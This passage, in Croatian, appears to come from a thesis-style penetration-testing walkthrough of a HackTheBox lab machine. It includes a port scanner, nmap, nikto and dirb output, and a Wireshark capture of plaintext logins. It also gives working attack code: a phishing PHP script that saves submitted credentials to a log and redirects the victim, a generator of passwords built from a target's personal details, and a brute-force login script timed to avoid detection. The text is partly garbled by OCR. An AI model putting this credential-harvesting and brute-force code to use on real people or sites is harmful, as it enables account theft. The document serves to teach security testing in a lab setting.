izvodi skeniranje portova. For petljom se u varijablu port za svaku iteraciju spremaju brojevi od
20 do 1000. Izabran je raspon od 20 do 1000 s obzirom da se u tom rasponu nalaze portovi
koji su najvazniji s aspekta penetracijskog testiranja. Najprije se u varijablu s sprema rezultat
funkcije  socket.socket kojoj se proslieduju argumenti socket.AF_INET te
socket.SOCK_STREAM. AF_INET predstavlja IPv4 adresu, dok SOCK_STREAM predstavlja
port. Funkciji socket.setdefaulttimeout se prosljeduje 1 §to znaci da ukoliko port nakon jedne
sekunde ne odgovara, odnosno ako nakon jedne sekunde nije detektiran kao otvoren onda ¢e
se prijeci na skeniranje sljedeceg porta. Zatim se u varijablu rezultat sprema rezultat funkcije
s.connect_ex kojoj se kao argumenti prosljeduju varijable meta i port. Funkcija connect_ex
vraca greSke ukoliko do njih dode. Sljedeci if provjerava ako je trenutni broj porta djeljiv s
brojem 100. Ukoliko je, napredak se poveéava za 10% te se ispisuje. S obzirom da se skenira
1000 portova, svaki stoti port predstavlja 10% u napretku izvrSavanja skripte. Naposljetku sa
if(rezultat == 0) provjerava se ako je doSlo do greske ili ne. Ako nije doSlo do greSke tada
funkcija connect_ex vra¢a 0 te se izvrSava kod koji se nalazi unutar ovog if-a. U tom slu¢aju
ispisuje se “port je otvoren” sa brojem porta s obzirom da se moze zakljuciti da veza nije istekla
te da je dobiven odgovor. Ukoliko je veza istekla nakon definirane jedne sekunde tada
connect_ex vraca indikator greske te se ne ulazi u kod unutar spomenutog if-a. Sa funkcijom
s.close() zatvara se veza sa trenutnim portom te se prelazi na sljedecu iteraciju odnosno na
sljededi port.

Sljedeci korak je prosljedivanje IP adresa potencijalnih meta ,scanner.py“ skripti kako
bi se otkrilo koji su portovi na tim metama otvoreni. S obzirom da je prva IP adresa unutar
datoteke adrese.txt 10.10.10.28. upravo ta adresa ¢e se proslijediti ,scanner.py“ skripti

sljede¢om naredbom:

python3 scanner.py 10.10.10.28.

Rezultat izvrSavanja skripte ,scanner.py” vidljiv je na sljedecoj slici.
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Trenutno skeniram: 10.10.10.28
Vrijeme pocetka: 2021-07-83 08:10:46.309013

Port je otvoren: 22

Port je otvoren: B@

18% portova skenirano
20% portova skenirano
30% portova skenirano
40% portova skenirano
50% portova skenirano
B6@% portova skenirano
70% portova skenirano
B0¥% portova skenirano
99% portova skenirano

Slika 4: Rezultat skripte scanner.py

Portovi 22 i 80 su otvoreni na ovoj potencijalnoj meti. Port 22 vezan je uz servis SSH
(eng. secureshell) dok je port 80 rezerviran za HTTP (eng. HyperText Transfer Protocol),
odnosno web posluzitelj [18]. Kako bi se saznalo viSe o servisima koji se izvode na tim
portovima te njihovim verzijama $to bi moglo ukazati na potencijalne ranjivosti, koristi se alat
Nmap. Nmap je alat za skeniranje mreze koji koristi IP pakete kako bi identificirao sve
uredaje na mrezi, a zatim i otkrio koji se servisi, operacijski sustavi te verzije istih pokrecu na
tim uredajima. Sljedeca slika prikazuje naredbu kojom se pokrece napredno skeniranje
portova pomocu alata Nmap. Opcijom -A pokrece se skeniranje operacijskog sustava, verzija
pokrenutih servisa, skeniranje skripti te traceroute. Opcijom -p definiraju se portovi koji se
Zele skenirati [19]. U ovom slucaju to su portovi 22 i 80 s obzirom da su upravo ti portovi

pronadeni kao otvoreni koristedi skriptu ,scanner.py*.

$ nmap -A -p22,80 10.10.10.28
Starting Nmap 7.80 ( https://nmap.org ) at 2021-87-03 08:14 EDT
Nmap scan report for 10.10.10.28
Host is up (@.039s latency).

PORT  STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu &ubuntu®.3 (Ubuntu Linux; protocol 2.0)
ssh-hostkey:
2048 6l:eb4:3f:dé:le:e2:b2:f1:0d:3c:ed:36:28:36:67:c7 (RSA)
256 24:1d:a4:17:d4:e3:2a:9c:90:5c:30:58:8f:60:77:8d (ECDSA)
256 78:03:0e:b&:al:af:e5:c2:f9:8d:29:05:3e:29:¢9:f2 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
_http-server-header: Apache/2.4.29 (Ubuntu)
_http-title: Welcome
Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.36 seconds

Slika 5: Rezultat skeniranja portova alatom Nmap
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U rezultatu su prikazane verzile SSH te HTTP servisa. S obzirom da SSH ne
predstavlja ranjivost ukoliko ne postoji pristup korisni¢kim podacima korisnika koji ima ovlasti
udaljenog rada na meti putem SSH-a, HTTP posluzitelj ¢e predstavijati prioritet u fazi
enumeracije. HTTP posluzitelj u ovom slucaju je Apache, verzije 2.4.29. Isto tako, iz rezultata
se zaklju€uje kako je operacijski sustav ove potencijalne mete Linux §to predstavlja informaciju

na temelju koje se napad moze prilagoditi.

Sljedeci koristan alat kojim ¢e se poku$ati pronaéi vektori napada je Nikto. Nikto je alat
koji sluzi za skeniranje Web posluzitelja pri éemu otkriva iskoristive datoteke, zastarjele verzije
znacajki i komponenti te opcenito zastarjele verzije softvera. Zbog Cinjenice da je na meti
pokrenut Apache HTTP posluzitelj Nikto se moze koristiti te moze pomodéi pronaéi potencijalne
ranjivosti vezane uz taj servis [20]. Sljedeca slika prikazuje pokretanje skeniranja nad HTTP
posluziteljiem mete pomocu alata Nikto te dobivene rezultate skeniranja. Opcijom -h definira

se hostname ili IP adresa mete koja je u ovom slu¢aju 10.10.10.28.

:~% nikto -h 10.10.10.28
Nikto v2.1.6

Target IP:
Target Hostname:
Target Port:
Start Time:

Server: Apache/2.4.29 (Ubuntu)
The anti-clickjacking X-Frame-Options header is not present.
The X-XSS-Protection header is not defined. This header can hint to the user agent to

protect against some forms of XS5

+ The X-Content-Type-Options header is not set. This could allow the user agent to rende
the content of the site in a different fashion to the MIME type

No CGI Directories found (use '-C all' to force check all possible dirs)

IP address found in the "location' header. The IP is "127.8.1.1°.

0SVDB-630: The web server may reveal its internal or real IP in the Location header vi
a request to /images over HTTP/1.8. The value is "127.8.1.1".

Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.3
is the EOL for the 2.x branch.

Web Server returns a valid response with junk HTTP methods, this may cause false posit
ives.

B D+

Slika 6: Rezultat skeniranja alatom Nikto

Iz rezultata je bitno istaknuti verziju Apache HTTP posluzitelja koja je zastarjela.
Zastarjele verzije softvera opéenito imaju viSe ranjivosti koje su zakrpane u novijim verzijama
pa je uvijek korisno pretraziti CVE (Common Vulnerabilities and Exposures) bazu ranjivosti
ukoliko je otkrivena komponenta sa zastarjelom verzijom. Rezultati iz CVE baze ranjivosti koji
se odnose na ranjivosti pronadene verzije Apache Web posluzitelja (2.4.29) prikazani su na

sliedecoj slici [21].
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3 CVE-2021-26651 7a7 Crverflow 2021-06-10 2021-07-02 7.5 MNone

In Apache HTTP Server versions 2.4.0 to 2.4.45 a specially crafted SessionHeader sent by an origin server could cause a he
4 CWVE-2021-26650 476 DoS 2021-06-10 2021-07-02 5.0 Mone
Apache HTTP Server versions 2.4.0 to 2.4.45 A specially crafted Cookie header handled by mod_session can cause a NULL
5 CVE-2020-35452 787 Owverflow 2021-06-10 2021-07-02 6.8 Mone
Apache HTTP Server varsions 2.4.0 to 2.4.45 & specially crafted Digest nonce can cause a stack overflow in mod_auth_digs
could create one, though some particular compiler and/or compilation option might make it possible, with limitad consaque
& CWVE-2020-13950 476 DoS 2021-06-10 2021-07-02 5.0 Mone

Apache HTTP Server varsions 2.4.41 to 2.4.4& mod_proxy_http can be made to crash {MULL pointer dereference) with spec
Denial of Service

7 CVE-2

020-11933 444 2020-08-07 2021-06-0& 4.3 MNone

Apache HTTP Server varsions 2.4.20 to 2.4.43 When trace/debug was enabled for the HTTF/2 module and on cartain traffic
use of memory pools. Configuring the Loglewvel of mod_http2 abowve "info" will mitigate this vulnerability for unpatched ser

Slika 7: Ranjivosti Apache HTTP posluzitelja verzije 2.4.29.

S obzirom da nijedna od pronadenih ranjivosti nije iskoristiva sa mojim trenutnim
vjestinama te da se neke od njih odnose na napade uskracivanja usluge (eng. Denial Of
Service) koji su zabranjeni na platformi HackTheBox, biti ¢e potrebno pronaéi drugi vektor
napada.

Jo$ jedan alat kaji je vrlo koristan kod penetracijskog testiranja Web posluZzitelja je Dirb.
To je alat koji provodi napad rjecnikom nad Web posluziteljem te analizira dobivene odgovore.
Na taj nacin pronalaze se datoteke i objekti na datoteCnom sustavu posluzitelja koji su
ponekad povjerljivi i skriveni od anonimnih korisnika. Nacin na koji radi je da iz
predkonfiguriranog rje€nika uzima rijeCi te pokuSava pristupiti toj putanji na posluzitelju. Tako
bi za metu ovog praktiénog primjera €ija je Web adresa http://10.10.10.28. Dirb slao HTTP
GET zahtjeve za putanjama poput http://10.10.10.28./<rije¢>. Na taj nacin ukoliko je dobiven
odgovor poput 200 OK moze se zakljuciti da je ta putanja dostupna. Isto tako, ukoliko se dobije
odgovor poput 403 Forbidden, zaklju€uje se da iako putanja nije dostupna ona postoji na Web
posluzitelju te je pristup zabranjen anonimnom korisniku, §to ¢esto ukazuje na stranice poput
formi za prijavu administratora [22]. Na sliedeéoj slici prikazano je pokretanje napada
rie€nikom koristeéi alat Dirb te dobiveni rezultati. Nakon prosljedivanja adrese na kojoj se
nalazi meta prosljeduje se rje¢nik koji ¢e se koristiti za napad, a koji je u ovom slucaju

predkonfigurirani Dirb rije€nik pod nazivom “common.txt”.
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:~$ dirb http://10.10.10.28/ /usr/share/dirb/wordlists/common. txt

DIRB v2.22
By The Dark Raver

START _TIME: Sun Jul & ©86:25:33 20821
URL_BASE: http://10.10.10.28/
WORDLIST_FILES: fusr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4612

---- Scanning URL: http://10.106.10.28/ ----

= DIRECTORY: http://10.10.10.28/css/

= DIRECTORY: http://10.10.10.28/fonts/

—s DIRECTORY: http://10.10.10.28/images/

+ http://10.10.10.28/index.php (CODE:200|SIZE:10932)
=> DIRECTORY: http://10.10.10.28/js/

+ http://10.10.10.28/server-status (CODE:4@3|SIZE:276)
=> DIRECTORY: http://10.10.10.28/themes/

= DIRECTORY: http://10.10.10.28/uploads/

Slika 8: Rezultat izvodenja napada alatom Dirb

Iz rezultata dobivenog koristenjem alata Dirb najbitnije je istaknuti putanju
http://10.10.10.28/uploads/. S obzirom da ta putanja postoji na posluZitelju moze se zakljuditi
kako na ovoj Web aplikaciji postoji moguénost prijenosa (eng. uploada) datoteka na posluzitel].
Ukoliko ta funkcionalnost nije implementirana na siguran nacin te omogucuje upload
malicioznih datoteka, moze se iskoristiti u kasnijim fazama penetracijskog testiranja. Na
sliedecoj slici prikazan je pokus$aj pristupa putaniji http://10.10.10.28/uploads/.

C 0O @ 10.10.10.28

it Apps Debian.org Latest News Help

Forbidden

You don't have permission to access this resource.

Apache/2.4.29 (Ubuntu) Server at 10.10.10.28 Port 80

Slika 9: Pristup putanji uploads
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HTTP odgovor 403 Forbidden na temelju ¢ega se zakljuCuje kako moguénost uploada
datoteka na posluzitelj postoji ali zahtjeva viSu razinu ovlasti. Posljednji alat koji ¢e se koristiti
u fazi enumeracije je Burp. U ovom slu€aju Burp ¢e se koristiti kako bi se presreo HTTP GET
zahtjev za pocCetnom stranicom Web aplikacije mete. Nakon $to je zahtjev proslijeden Burp
automatski i pasivno provodi “spidering” odnosno provjerava sve dostupne putanje na
posluzitelju sli€no kao prijadnji alat Dirb. Sljedeca slika prikazuje putanje na posluzitelju koje
su pronadene te na koje je dobiven odgovor 200 OK sto znaci da je pristup omoguéen

anonimnim korisnicima.

Host | Method | LIRL | Params | Stat... 4 | Length
http:/f10.10.10.28 GET / 200 11125
http:/f10.10.10.28 GET fedn-cgiflogin/script.js 200 257
http:/f10.10.10.28 GET fcesfnew. css 200 243
http:/f10.10.10.28 GET fisfindex. js 200 257
http:/f10.10.10.28 GET fisimin.js 200 416l
http:/f10.10.10.28 GET fthemesftheme.css 200 243

Slika 10: Pronadene dostupne putanje

Jedna od tih putanja je /cdn-cgi/login/ &to vrlo vjerojatno predstavlja formu za prijavu.
Da bi se provjerilo ako je forma za prijavu ranjiva potrebno ju je otvoriti u pregledniku i istraziti
sigurnosne mehanizme kojima se §titi od razlicitih tipova napada. Na sljedeco;j slici prikazana

je pronadena forma za prijavu.

Slika 11: Forma za prijavu na putanji /cdn-cgi/login/
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Nakon nekoliko poku$aja prijave dovedeni su sljedeci zaklju€ci. Forma za prijavu nema
ogranicenja na broj poku$aja prijave $to ju €ini ranjivom protiv bruteforce napada kao i napada
rie€nikom. Osim toga, sam proces prijave je vrlo brz $to znaci da je moguce poslati velik broj
poku$aja za prijavu u kratkom vremenu. To &ini vrijeme izvodenja napada kra¢im. Naposljetku,
s obzirom da meta ne koristi SSL (Secure Sockets Layer) podaci se od korisnika posluzitelju
Salju u Citljivom (eng. plaintext) obliku. Kao dokaz toga koristen je alat Wireshark kako bi se
zahtjev za prijavom presreo te kako bi se provjerilo ako je iz tog zahtjeva moguée procitati

podatke za prijavu. Na sljedecoj slici prikazan je zahtjev za prijavom zajedno sa proc€itanim

podacima.
- 4 1.8143269449 10.19.14.81 16.16.10.28 ICP bt bbYBO — HO |[SYN] Seq=t win=64Z
5 1.853117226 10.10.10.28 16.10.14.81 TCP 60 B0 — 56886 [SYN, ACK] Seq=0 Ac
6 1.853157021 10.10.14.81 10.10.10.28 TCP 52 56886 - 80 [ACK] Seg=1 Ack=1 &
| 7 1.853164715 10.10.10.28 10.10.14.81 TCP 52 BO — 56864 [ACK] Seq=1 Ack=2
8 1.853641715 .18.14. .18.18. POST /cdn-cgl/login/index.php
9 1.892036264 10.19.10.28 16.16.14.81 TCP 52 B0 — HE68B6 [ACK] Seq=1 Ack=637
10 1.893429846 10.10.10.28 16.10.14.81 TCP 1397 80 - 56886 [ACK] Segq=1 Ack=637
11 1.893444644 10.10.14.81 10.10.10.28 TCP 52 56886 - 80 [ACK] Seq=637 Ack=1
- 12 1.893459051 10.10.10.28 16.10.14.81 HTTP 723 HTTP/1.1 200 0K (text/html)
13 1.893462888 10.10.14.81 10.10.10.28 TCP 52 56886 — 80 [ACK] Seq=637 Ack=2
14 1.936851563 10.10.14.81 16.10.10.28 HTTP 431 GET /fonts/fontawesome-webfont
15 1.975964253  10.10.10.28 10.10.14.81 HTTP 541 HTTP/1.1 404 Not Found (text/

Slika 12: Zahtjev za prijavom

b [Timestamps]
TCP payload (636 bytes)
v Hypertext Transfer Protocol
= HTML Form URL Encoded: application/x-www-Torm-urlencoded
» Form item: "username"™ = "test"
» Form item: "password" = "test"

Slika 13: Procitani podaci za prijavu

Iz prilozenih slika alata Wireshark vidljivo je kako se zahtjev za prijavom moze presresti
te kako se poslani podaci mogu procitati u plaintext obliku. Pronadena ranjivost otvara nove
vektore napada poput presretanja zahtjeva na javnoj mrezi. Naime, ukoliko napadac dobije
pristup istoj bezi¢noj mrezi kao i korisnik koji se ovom formom za prijavu prijavljuje na Web
aplikaciju mete, koriStenjem alata Wireshark vrlo se lako moze doc¢i do poslanih korisnic¢kih

podataka.
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Osim presretanja mreznih paketa postoje i ostali nacini na koje se mogu dobiti korisnicki
podaci. Jedna od takvih tehnika spada u domenu drustvenog inzenjeringa, a naziva se
phishing. Phishing je tehnika kojom se trikovima drustvenog inzenjeringa metu navodi da
otkrije podatke za prijavu ili druge osjetljive i privatne informacije. Za potrebe ovog praktiénog
primjera kao prikaz phishing tehnike koristiti ¢e se lazna forma za prijavu koja korisnicke
podatke Salje napadacu, u ovom slu€aju meni. Zajedno sa e-mail porukom u kojem ¢&e se
koristiti taktike druStvenog inzenjeringa poput stvaranja osjecaja hitnosti, korisnika ¢e se
navesti da otvori laznu formu za prijavu i u nju upiSe svoje podatke za prijavu. Za izradu lazne
phishing stranice postoje alati poput Blackeye ali su specijalizirani za odredene Cesto koristene

Web aplikacije poput popularnih drustvenih mreza [23].

S obzirom da se ovim primjerom Zeli napraviti lazna stranica za Web aplikaciju
specificne mete, koristiti ¢e se pristup ru¢ne izrade bez koridtenja pomoc¢nih alata. Prvi korak
je uzimanje izvornog koda forme za prijavu $to se moZe uciniti desnim klikom te odabirom
“view page source”. Uzimanjem izvornog koda osigurava se da phishing stranica izgleda
identi¢no kao i originalna forma za prijavu. Vazno je napomenuti kako je fotografije i ostale
multimedijske sadrzaje potrebno najprije pohraniti na lokalno ra¢unalo te ih zatim posluZivati
zajedno sa HTML stranicom. Naposljetku, HTML elementu form potrebno je pronaci atribut
action te njegovu vrijednost promijeniti u ime PHP skripte koja ¢e korisni¢ke podatke zapisivati
u tekstualnu datoteku na racunalu napadaca. Na taj nacin ¢e se podaci upisani u formu za

prijavu prosljedivati PHP skripti, a kod iste prikazan je u nastavku.

<?php

header ('Location: 10.10.10.28/cdn-cgi/login');
Sdatoteka = fopen("log.txt", "a");
foreach($ POST as $ime => $vrijednost) {
fwrite ($Sdatoteka, $ime);

fwrite (Sdatoteka, "=");

fwrite (Sdatoteka, S$vrijednost);

fwrite (Sdatoteka, "\r\n");

}

fwrite ($datoteka, "\r\n\n\n\n");

fclose ($datoteka) ;

exit;

?>
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Sa funkcijom header izvrSava se redirekcija na adresu 10.10.10.28/cdni-cgi/login
odnosnho na originalnu formu za prijavu. Time se korisniku daje iluzija da je prijava neuspjesna
te ¢e se nakon ponovnog unosa korisni¢kih podataka uspjes$no prijaviti i ne¢e posumnjati na
potencijalni napad [24]. Zatim se funkcijom fopen zapocinje rad sa ,log.txt* datotekom u koje
Ce se zapisivati korisni¢ki podaci te se foreach petljom iterira kroz sve podatke poslane formom
za prijavu. U ,log.txt“ datoteku se zapisuje korisniCko ime i lozinka te se zatim zavrSava rad sa
datotekom koristec¢i funkciju fclose. Na sljedecoj slici prikazan je sadrzaj ,log.txt“ datoteke u
sustavu za upravljanje datotekama platforme 000webhost koja se za potrebe ovog primjera
koristila kako bi se phishing stranica posluzivala. Phishing stranica iz ovog primjera posluzuje

se na sljede¢oj web adresi: https://megacorpautomotive.000webhostapp.com!/.

Edit file

/public_html/log.txt

username=test_ime
password=test_lozinka

LR I SRRV I SRR WU S S

Slika 14: sadrzaj log.txt datoteke

Iz poveznice na kojoj se lazna forma za prijavu nalazi vidljivo je kako je URL (Uniform
Resource Locator) drugaciji od onog koji vodi na originalnu formu za prijavu. Na temelju
razli¢itog URL-a meta moze prepoznati da se radi o laznoj stranici i uspjeSno izbjeéi pokusaj
napada. 1z tog razloga phishing stranice je potrebno koristiti zajedno sa ostalim tehnikama
drustvenog inZenjeringa kako bi se skrenula pozornost mete sa detalja poput URL-a forme za
prijavu. Jedna od takvih tehnika je stvaranje osjecaja hitnosti Cime se postiZe slanje korisnickih

podataka prije nego meta uspije primijetiti da se radi o potencijalnom napadu [25].
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4.3. Provodenje napada

Ukoliko se korisniCki podaci ne mogu dobiti izravno koriste¢i navedene primjere presretanja
mreznih paketa ili koriStenja phishinga u obliku lazne forme za prijavu, korisno je dobiti sto
vecu koli€inu osobnih informacija o meti kako bi se na temelju tih informacija mogao pripremiti
napad rjeCnikom. Naime, s obzirom da forma za prijavu mete ovog prakti¢nog primjera nema
implementiranu provjeru broja pokusaja prijave te ima vrlo brz postupak prijave predstavlja
potencijalnu ranjivu to¢ku koja se moze napasti napadom rje¢nikom ili bruteforce napadom.
Prvi dio rje¢nika koji ¢e se koristiti za napad predstavljaju potencijalne lozinke generirane na
temelju dobivenih osobnih podataka administratora Web aplikacije mete. Kako bi se lozinke
generirale izradena je vilastita Python skripta koja na temelju osobnih podataka generira
lozinke prema uzorcima pronadenima iz istrazivanja provedenog nad lozinkama dobivenim iz
proboja podataka Sony-a [26]. U nastavku je prikazan kod navedene Python skripte a potom
Ce biti objasnjeni nacini generiranja lozinki te njihova ucestalost prema informacijama

dobivenim iz istrazivanja.

ime = "Mark"

prezime = "Smith"

mjesto rodenja = "Seattle"

mjesto stanovanja = "Seattle"

datum_rodenja = "2305"

godina rodenja = "1990"

korisnicko ime = "admin"

web mjesto = "megacorp"

najdrazi broj = "7"

pl = ime [::-1] #Cesto se koristi zaporka gdje se ime napisSe unatrag, samo

ili sa dodanim brojevima

p2 = pl + datum rodenja

p3 = pl + godina rodenja

p4 = pl + str((int(godina rodenja) % 100))
PS5 = ime

p6 = p5 + datum rodenja

p7 = p5 + godina rodenja

p8 = p5 + str((int(godina rodenja) % 100))

P9 = p5 + "1" #isto tako, cCesto se na ime doda broj "1" u slucajevima gdje
sustav zahtjeva brojeve u zaporki

pl0 = pl + "1"
pll = prezime

pl2 = prezime + datum rodenja
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pl3 = prezime + godina rodenja

pl4 = prezime + str((int(godina rodenja) % 100))
pl5 = prezime + "1"

pl6 = prezime + ime

pl7 = ime + prezime

#kod zaporki koje sadrZe geografska mjesta, isto tako se najceScée koriste
same i1li se dodaju brojevi ili u rijedim slucajevima se koristi pisanje imena
lokacije unatrag

pl8 mjesto _rodenja
pl9 = pl8 + datum rodenja
p20 = pl8 + godina rodenja

p21 = pl8 + str((int(godina rodenja) % 100))

p22 = mjesto_rodenja [::-1]
P23 = prezime [::-1]
p24 = mjesto_stanovanja

P25 = p24 + datum rodenja
P26 = p24 + godina rodenja
p27 = p24 + str((int(godina rodenja) % 100))

p28 = mjesto_stanovanja [::-1]

P29 = ime + najdrazi broj

p30 = ime [::-1] + najdrazi broj

p3l = prezime + najdrazi broj

p32 = prezime [::-1] + najdrazi broj

P33 = mjesto rodenja + najdrazi broj

p34 = mjesto rodenja [::-1] + najdrazi broj
P35 = mjesto_stanovanja + najdrazi broj

p36 = mjesto_stanovanja [::-1] + najdrazi broj
p37 = datum rodenja + godina_ rodenja

p38 = datum rodenja + godina rodenja [::-1]
P39 = godina rodenja + datum rodenja

p40 = godina rodenja [::-1] + datum rodenja #numeric¢ke lozinke najceSce
sadrze parni broj znakova, 4, 6 ili 8

p4l = godina rodenja + godina rodenja

P42 = ime + ime #duple rijeci, c¢ega je primjer dvaput napisano ime je isto
tako Cesta zaporka kod sustava koji zahtjevaju odredeni broj znakova

P43 = prezime + prezime

p44 = korisnicko ime

p45 = korisnicko ime + web mjesto

p46 = korisnicko ime + najdrazi broj

p47 = korisnicko ime + godina rodenja

p48 = korisnicko ime + datum rodenja

p49 = korisnicko ime + godina rodenja [::-1]
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p50 = web mjesto + najdrazi broj

passwords = [pl,p2,p3,pr4,p5,p6,07,p8,p9,p10,pll,pl2,pl3,pl4,pl5,
pl6,pl7,p18,p19,p20,p21,p22,p23,p24,p025,p26,p27,p28,029,p30,p31,
p32,p33,p34,p35,p36,p37,p38,p39,p40,p41,p42,p43,p44,p45,p46,p47,p48,p49,p50
for p in passwords:

print (p)

Navedeno istrazivanje provedeno je nad probojem podataka koiji je zahvatio 77 milijuna
korisnika Sony platforme PlayStation. Od 77 milijuna zahvaéenih korisnickih racuna, preko 1
milijun lozinki bile su pohranjene u ¢itliivom formatu. Datoteka sa lozinkama i korisni¢kim
imenima na temelju koje su napravljeni statisti¢ki podaci prikazani u istrazivanju sadrzi 37,608
korisniCkih raCuna te time predstavilja dovoljno veliki uzorak za donoSenje odredenih
zakljucaka. Python skripta ,generator.py* najprije uzima osobne podatke mete na temelju kojih
se lozinke naj¢esc¢e kreiraju. U ovom sluc¢aju s obzirom da se radi o vjezbi penetracijskog
testiranja na platformi HackTheBox, osobni podaci pripadaju izmisljenoj osobi koja ima ulogu
administratora Web aplikacije mete. U varijable pl do p50 se zatim pohranjuju permutacije
osobnih podataka koje predstavljaju najéesce lozinke. Prvih nekoliko lozinki odnosi se na ime
korisnika gdje je Cest slu€aj postavljanje imena unatrag kao lozinke, ili imena nakon kojeg su
dodani brojevi poput datuma rodenja. Zatim se sli€ne permutacije rade sa prezimenom mete.
Nakon toga koriste se geografske lokacije poput mjesta stanovanja i mjesta rodenja na koje
se isto tako Cesto dodaju broj¢ane vrijednosti poput razli€itih vaznih datuma. Zatim slijede
numericke lozinke koje se sastoje od godine rodenja i datuma rodenja. Ovdje je bitno
napomenuti kako Ciste numericke lozinke najceSce sadrzavaju parni broj znakova. Posljednjih
nekoliko lozinki generiranih skriptom stvara se na temelju podataka koji se odnose na
platformu na koju se korisnik prijavljuje, a to su Web mjesto te korisni¢ko ime. Nakon §to su

sve lozinke generirane spremaju se u niz passwords koji se zatim ispisuje.

Istrazivanje je isto tako pokazalo da se lozinke sa popisa najceScih lozinki joS uvijek
Cesto koriste te da se Cesto koriste svakodnevne rijeCi iz rje€nika. |1z tog razloga za uspjeSan
napad rjecnikom na listu lozinki generiranu prikazanu Python skriptom potrebno je dodati i
lozinke sa popisa najcescih lozinki kao i odredene svakodnevne rijeCi koje se isto tako Cesto
koriste u tu svrhu. Time ¢e se dobiti potpuniji rje€nik koji ¢e povecati vjerojatnost uspjesSnosti
napada. Lista lozinki koja se pridodaje lozinkama generiranim Python skriptom u svrhu

kreiranja rje¢nika za napad preuzeta je sa sliedece poveznice:

https://github.com/DavidWittman/wpxmlrpcbrute/blob/master/wordlists/1000-most-

common-passwords.txt,
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Nakon $to je generiran rjeCnik potrebno je kreirati skriptu koja e iterirati kroz zapise u
rieCniku i pokuSati se prijaviti sa proslijedenim korisni¢kim imenom i svakom lozinkom iz

rie€nika. 1z tog razloga napisana je vlastita Python skripta iji je kod prikazan u nastavku.

import mechanicalsoup

import sys

from datetime import datetime

import time

browser = mechanicalsoup.StatefulBrowser ()
if len(sys.argv) != 4:

print ("Netoc¢an broj argumenata. Primjer sintakse: python3 bruteforce.py
<url> <lista zaporki> <korisnic¢ko ime>")

else:
print ("-" * 50)
print ("Vrijeme pocetka:" + str(datetime.now()))
print ("-" * 50)

url = sys.argv[1l]

browser.open (url)
try:
lozinke = open(sys.argv[2],"r",encoding="utf8")
lozinke brojac = open(sys.argv[2],"r",encoding="utf8")
trenutna linija = 0
brojac liste = 0
for x in lozinke brojac:
brojac liste += 1
for lozinka in lozinke:
trenutna linija += 1
lozinka = lozinke.strip()
time.sleep(0.2)
browser.select form()
browser ["username"] = sys.argv[3]
browser["password"] = lozinka
browser.submit selected()
if browser.get url() != url:

print ("Uspjesno pronadena lozinka! Lozinka Je:" +
str(lozinka))

sys.exit ()
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[)

elif trenutna linija % 10 ==

napredak = int((1 - ((brojac liste - trenutna linija) /
brojac liste)) * 100)

print ("Trenutni napredak je " + str (napredak) + "%")
finally:

lozinke.close ()

Najprije se funkcijom import uklju€uju potrebni moduli. Modul mechanicalsoup sadrzi
Web preglednik koji ¢e se koristiti za navigaciju do forme za prijavu. Sys omogucuje
prosljedivanje argumenata prilikom poziva skripte, a datetime sluzi za ispis vremena pocetka
izvrSavanja skripte. Najprije se provjerava ako je unesen predvideni broj argumenata. Ukoliko
nije, skripta se ne izvrSava te se korisniku ispisuje primjer pravilnog nacina poziva skripte.
Ukoliko je unesen predvideni broj argumenata ispisuje se vrijeme pocetka izvrSavanja skripte
te Python preglednik otvara proslijedenu Web adresu na kojoj se nalazi forma za prijavu.
Unutar try bloka koda u varijable lozinke te lozinke_brojac se pohranjuje treci korisnicki
argument odnosno datoteka koja sadrzi listu lozinki za napad. Zatim se for petljom iterira kroz
lozinke kako bi se u varijablu brojac_liste spremio ukupan broj lozinki koji ¢e kasnije sluziti za
ispis napretka izvrSavanja skripte. Nakon toga zapocCinje iteracija kroz varijablu lozinke.
Varijabla trenutna_linija isto tako sluzi kako bi se ispisao napredak, a zatim se u varijablu
lozinka upisuje sljedeéa lozinka iz liste. Time.sleep(0.2) sluzi kako bi se napravio razmak
izmedu pokuSaja prijave te kako bi se na taj na€in smanjila moguénost detekcije napada. Ovdje
je vazno balansirati izmedu dovoljno velikog razmaka koji doprinosi manjoj detekciji napada i
dovoljno malog razmaka koji doprinosi brzini izvodenja skripte. Zatim se koriste¢i funkciju
select_form() oznacava HTML <form> element. Browser[‘username’] i browser[“password”]
su elementi unutar <form> elementa te ih je potrebno modificirati za svaki napad. Naime,

“‘username” i “password” se odnose na vrijednosti name atributa elemenata forme te ne moraju
uvijek biti “username” i “password” kao $to su u ovom slu€aju. U element za unos korisni¢kog
imena prosljeduje se Cetvrti argument, odnosno korisni¢ko ime nad kojim se provodi napad. U
element za unos lozinke sprema se slijedec¢a lozinka iz proslijedene datoteke. Provjera
uspjeSnosti napada za svaku lozinku izvodi se usporedbom trenutne Web adrese Python
preglednika sa Web adresom na kojoj se nalazi forma za prijavu. Naime, ukoliko se te dvije
adrese razlikuju doslo je do redirekcije sa forme za prijavu na neku drugu stranicu $to Cesto
ukazuje na uspjeSnost prijave. Ako lozinka nije pronadena ispisuje se napredak koristeci broj
trenutne linije te ukupni broj lozinki. Naposljetku, zavrSava se rad s datotekom lozinki te se
prekida izvrSavanje skripte. U nastavku je prikazana naredba kojom se poziva navedena

,dictionaryattack.py“ Python skripta kojom se iterira kroz ranije generirani rie¢nik te rezultati
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izvodenja iste. Rje€nik se sastoji od liste najces¢e koriStenih lozinki dopunjenih sa lozinkama

generiranim na temelju osobnih podataka mete.

python3 bruteforce.py http://10.10.10.28/cdn-cgi/login/index.php lozinke.txt
admin

ting$ python3 bruteforce.py http://10.10.10.28/cdn-cgi/login/index.php

lozinke.txt admin

Trenutni napredak

Trenutni napredak

Trenutni napredak j

Trenutni napredak

Trenutni napredak j

Trenutni napredak j

Trenutni napredak j

Trenutni napredak j

Trenutni napredak j

UspjesSno pronadena zaporka! Zaporka je:MEGACORP_4dmin !!

Slika 15: Rezultat izvodenja napada rje¢nikom

Pronadena je lozinka “MEGACORP_4dm1n!!”. Ovdje je vazno napomenuti da iako ova
lozinka ima dovoljno znakova te koristi velika slova, mala slova, brojeve i specijalne znakove,
¢injenica da se pojavila na listi probijenih lozinki €ini ju nesigurnom te ranjivom na napade
rieCnikom. Zastita korisni¢kih racuna na razini lozinke biti ¢e pobliZze objasnjena kasnije ali je
